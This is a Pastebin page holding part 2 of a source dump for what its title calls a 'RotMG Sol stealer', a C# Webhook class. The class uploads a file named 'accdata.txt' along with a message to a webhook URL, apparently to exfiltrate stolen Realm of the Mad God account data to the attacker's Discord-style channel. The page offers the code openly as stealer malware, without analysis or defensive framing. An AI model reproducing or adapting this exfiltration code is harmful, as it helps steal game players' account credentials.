Guest User

RotMG Sol stealer program source dump part 2.

a guest
Mar 26th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.15 KB | None | 0 0
  1. // Nataruzaki.Webhook
  2. using System.IO;
  3. using System.Net;
  4. using System.Net.Http;
  5.  
  6. internal class Webhook
  7. {
  8.     private HttpClient Client;
  9.  
  10.     private string Url;
  11.  
  12.     public string Name
  13.     {
  14.         get;
  15.         set;
  16.     }
  17.  
  18.     public string ProfilePictureUrl
  19.     {
  20.         get;
  21.         set;
  22.     }
  23.  
  24.     public Webhook(string webhookUrl)
  25.     {
  26.         this.Client = new HttpClient();
  27.         this.Url = webhookUrl;
  28.     }
  29.  
  30.     public bool SendMessage(string content, string file = null)
  31.     {
  32.         MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();
  33.         multipartFormDataContent.Add(new StringContent(this.Name), "username");
  34.         multipartFormDataContent.Add(new StringContent(this.ProfilePictureUrl), "avatar_url");
  35.         multipartFormDataContent.Add(new StringContent(content), "content");
  36.         if (file != null)
  37.         {
  38.             if (!File.Exists(file))
  39.             {
  40.                 throw new FileNotFoundException();
  41.             }
  42.             byte[] content2 = File.ReadAllBytes(file);
  43.             multipartFormDataContent.Add(new ByteArrayContent(content2), "file", "accdata.txt");
  44.         }
  45.         HttpResponseMessage result = this.Client.PostAsync(this.Url, multipartFormDataContent).Result;
  46.         return result.StatusCode == HttpStatusCode.NoContent;
  47.     }
  48. }
Add Comment
Please, Sign In to add comment